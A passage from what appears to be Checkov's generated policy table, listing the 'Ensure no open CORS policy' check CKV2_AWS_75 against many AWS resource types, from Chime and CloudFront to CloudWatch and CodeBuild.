376 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  377 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  378 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  379 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  380 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  381 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  382 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  383 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  384 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  385 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  386 | CKV2_AWS_75 | resource | aws_cleanrooms_membership                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  387 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  388 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  389 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  390 | CKV2_AWS_75 | resource | aws_cloudformation_stack                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  391 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  392 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  393 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  394 | CKV2_AWS_75 | resource | aws_cloudformation_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  395 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  396 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  397 | CKV2_AWS_75 | resource | aws_cloudfront_distribution                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  398 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  399 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  400 | CKV2_AWS_75 | resource | aws_cloudfront_function                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  401 | CKV2_AWS_75 | resource | aws_cloudfront_key_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  402 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  403 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  404 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  405 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  406 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  407 | CKV2_AWS_75 | resource | aws_cloudfront_public_key                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  408 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  409 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  410 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  411 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  412 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  413 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  414 | CKV2_AWS_75 | resource | aws_cloudsearch_domain                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  415 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  416 | CKV2_AWS_75 | resource | aws_cloudtrail                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  417 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  418 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  419 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  420 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  421 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  422 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  423 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  424 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  425 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  426 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  427 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  428 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  429 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  430 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  431 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  432 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  433 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  434 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  435 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  436 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  437 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  438 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  439 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  440 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  441 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  442 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  443 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  444 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  445 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  446 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  447 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  448 | CKV2_AWS_75 | resource | aws_codeartifact_domain                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  449 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  450 | CKV2_AWS_75 | resource | aws_codeartifact_repository                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  451 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  452 | CKV2_AWS_75 | resource | aws_codebuild_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  453 | CKV2_AWS_75 | resource | aws_codebuild_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  454 | CKV2_AWS_75 | resource | aws_codebuild_report_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  455 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  456 | CKV2_AWS_75 | resource | aws_codebuild_source_credential                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  457 | CKV2_AWS_75 | resource | aws_codebuild_webhook                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  458 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  459 | CKV2_AWS_75 | resource | aws_codecatalyst_project                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  460 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  461 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  462 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  463 | CKV2_AWS_75 | resource | aws_codecommit_repository                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  464 | CKV2_AWS_75 | resource | aws_codecommit_trigger                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  465 | CKV2_AWS_75 | resource | aws_codeconnections_connection                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  466 | CKV2_AWS_75 | resource | aws_codeconnections_host                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  467 | CKV2_AWS_75 | resource | aws_codedeploy_app                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  468 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  469 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  470 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  471 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association                      | Ensure no open 